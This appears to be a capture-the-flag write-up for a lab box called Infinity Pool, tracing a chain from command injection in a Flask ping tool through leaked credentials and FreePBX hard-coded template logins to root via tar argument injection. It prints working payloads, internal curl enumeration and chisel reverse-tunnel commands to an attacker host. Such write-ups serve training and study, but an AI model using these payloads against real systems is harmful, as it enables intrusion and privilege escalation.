In this post · 4 sections

Hacker Holidays Day 11: Infinity Pool

A long chain: web foothold via command injection, follow leaked creds through two internal services, pull an automation key out of a FreePBX voicemail, then hit a root-owned worker that drops your input into a shell command.

Foothold

Source had a developer comment pointing at a hidden staff tool at /status that pings a host. gunicorn on port 80 means Flask, and a Flask app shelling out to ping is prime command injection. I tested with a second command:

Spoiler: the command injection
127.0.0.1; id

It returned the ping output plus uid=1001(web). I traded it for a reverse shell and grabbed the user flag. The app source later confirmed it: subprocess.run(f"ping -c 1 {host}", shell=True, ...).

Internal enumeration

ps aux showed two loopback-only services: watchtower (port 3000, as svc-watch) and automation (port 9000, as root). Both invisible from outside, but I am inside now:

Spoiler: the internal config endpoint
curl -s http://127.0.0.1:3000/api/config

That leaked FreePBX UCP creds (FreePBXUCPTemplateCreator plus a password) and the automation endpoint. The automation worker’s /health described its API: POST /jobs/export, Bearer auth, runs_as: root. So I needed that key.

FreePBX (CVE-2026-46376)

127.0.0.1:8080/ucp was FreePBX 16.0.45. The username FreePBXUCPTemplateCreator is the tell for CVE-2026-46376, hard-coded template credentials. The login runs through JavaScript, so I tunnelled the ports out with chisel and used a real browser:

./chisel server -p 9999 --reverse
./chisel client <ATTACKER-IP>:9999 R:8080:127.0.0.1:8080 R:9000:127.0.0.1:9000

Inside UCP I added the Voicemail widget. One message carried the Bearer key as its caller ID:

Spoiler: the automation key
"Automation Key cc_auto_...." <9000>

Root via tar argument injection

Testing the key with a report name echoed the command it builds:

tar czf /var/automation/exports/test.tgz /var/automation/data

My report value drops straight into that command as root, so I closed the tar argument and appended my own:

Spoiler: the tar argument injection
-d '{"report":"x.tgz /var/automation/data; cat /root/root.txt #"}'

tar runs, then cat /root/root.txt runs as root, and # comments out the rest. Both flags redacted here.